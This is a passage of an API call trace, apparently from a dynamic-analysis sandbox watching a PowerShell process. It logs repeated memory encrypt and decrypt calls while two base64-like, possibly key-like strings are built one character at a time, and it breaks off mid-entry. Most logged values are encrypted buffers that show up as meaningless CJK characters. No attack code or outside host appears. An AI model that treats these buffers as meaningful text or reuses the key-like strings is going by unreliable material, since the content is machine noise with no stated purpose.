[0258.070] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.070] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转啣ꙫ೤玔盙泹豐ᇝ⋮) returned 0x20 [0258.070] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转啣ꙫ೤玔盙泹豐ᇝ⋮) returned 0x20 [0258.070] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.070] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJB") returned 0x20 [0258.070] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.070] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場") returned 0x20 [0258.070] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場") returned 0x20 [0258.070] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場") returned 0x20 [0258.071] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場") returned 0x28 [0258.071] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.071] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZⴀ킰ꖆ퐱⸺氰锏") returned 0x28 [0258.071] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.071] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場襠ꂖ叶ۘ꒥댢̈⿪") returned 0x28 [0258.071] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場襠ꂖ叶ۘ꒥댢̈⿪") returned 0x28 [0258.071] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.071] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/킰ꖆ퐱⸺氰锏") returned 0x28 [0258.071] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.071] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場쫒ߛ䞔椋궽ᘮ퐶") returned 0x28 [0258.072] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場쫒ߛ䞔椋궽ᘮ퐶") returned 0x28 [0258.072] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.072] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/Oꖆ퐱⸺氰锏") returned 0x28 [0258.072] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.072] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場\﷝᷎酩ꨳ닰濧専∛) returned 0x28 [0258.072] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場\﷝᷎酩ꨳ닰濧専∛) returned 0x28 [0258.072] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.072] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OL퐱⸺氰锏") returned 0x28 [0258.072] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.072] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ꓩ깳ꈇ馿䉎\껞覌∪) returned 0x28 [0258.072] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ꓩ깳ꈇ馿䉎\껞覌∪) returned 0x28 [0258.072] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.072] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLB⸺氰锏") returned 0x28 [0258.072] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場꟟\௝\㗚槠孃⯞") returned 0x28 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場꟟\௝\㗚槠孃⯞") returned 0x28 [0258.073] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.073] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBF氰锏") returned 0x28 [0258.073] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場窋鄪ྲ賲ﵵ狠參") returned 0x28 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場窋鄪ྲ賲ﵵ狠參") returned 0x28 [0258.073] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.073] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFt锏") returned 0x28 [0258.073] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ꉪﭧꑾꡬ⬙灄\룝≔) returned 0x28 [0258.073] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ꉪﭧꑾꡬ⬙灄\룝≔) returned 0x28 [0258.073] SystemFunction041 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.074] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFtG") returned 0x28 [0258.074] SystemFunction040 (in: Memory=0x3afd24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afd24) returned 0x0 [0258.074] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍") returned 0x28 [0258.074] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍") returned 0x28 [0258.074] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍") returned 0x28 [0258.074] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍") returned 0x30 [0258.074] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.074] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFtGXᶭ\쨱甌魞똫⊗) returned 0x30 [0258.074] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍㸄代ᷩነ㪃᦭夾\⋘) returned 0x30 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍㸄代ᷩነ㪃᦭夾\⋘) returned 0x30 [0258.075] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.075] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFtGXC\쨱甌魞똫⊗) returned 0x30 [0258.075] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍宗ﶠ暻膧獈넱迳哊") returned 0x30 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍宗ﶠ暻膧獈넱迳哊") returned 0x30 [0258.075] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.075] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFtGXCw㇡ೊ幵⮛鞶") returned 0x30 [0258.075] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍앤胄钱\ߝ鑩派딉⊪) returned 0x30 [0258.075] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转遣闡\ꟙὈ忞顅ὃ場ಓ┸꼳謯蜥壨媍앤胄钱\ߝ鑩派딉⊪) returned 0x30 [0258.075] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.076] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJBZ/OLBFtGXCw=ೊ幵⮛鞶") returned 0x30 [0258.076] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0258.076] EtwEventActivityIdControl () returned 0x0 [0258.084] EtwEventActivityIdControl () returned 0x0 [0258.084] EtwEventActivityIdControl () returned 0x0 [0258.085] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.086] EtwEventActivityIdControl () returned 0x0 [0258.086] EtwEventActivityIdControl () returned 0x0 [0258.086] EtwEventActivityIdControl () returned 0x0 [0258.086] SysStringLen (param_1="") returned 0x8 [0258.087] SysStringLen (param_1="N") returned 0x8 [0258.087] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.087] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0258.087] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0258.087] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.087] SysStringLen (param_1="ND") returned 0x8 [0258.087] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.087] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0258.087] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0258.087] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.087] SysStringLen (param_1="NDZ") returned 0x8 [0258.087] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.088] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0258.088] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0258.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.088] SysStringLen (param_1="NDZl") returned 0x8 [0258.088] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.088] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0258.088] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0258.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.088] SysStringLen (param_1="NDZlO") returned 0x8 [0258.088] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.088] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0258.088] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0258.088] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.089] SysStringLen (param_1="NDZlOD") returned 0x8 [0258.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.089] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0258.089] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0258.089] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.089] SysStringLen (param_1="NDZlODR") returned 0x8 [0258.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.089] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0258.089] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0258.089] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.089] SysStringLen (param_1="NDZlODRm") returned 0x8 [0258.089] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0258.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0258.090] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.091] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0258.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0258.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0258.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.091] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0258.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0258.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0258.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.091] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0258.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0258.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0258.171] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.172] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0258.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0258.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0258.172] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.172] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0258.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0258.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0258.172] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.172] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0258.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0258.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0258.173] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.173] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0258.173] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0258.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0258.173] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.173] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0258.173] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0258.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0258.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.174] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0258.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0258.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0258.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0258.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0258.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0258.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0258.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0258.176] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0258.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0258.176] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0258.176] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0258.176] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0258.176] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0258.176] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0258.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0258.177] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0258.177] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0258.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0258.177] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.177] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0258.177] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.177] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0258.178] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0258.178] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.178] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0258.178] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.178] SysStringLen 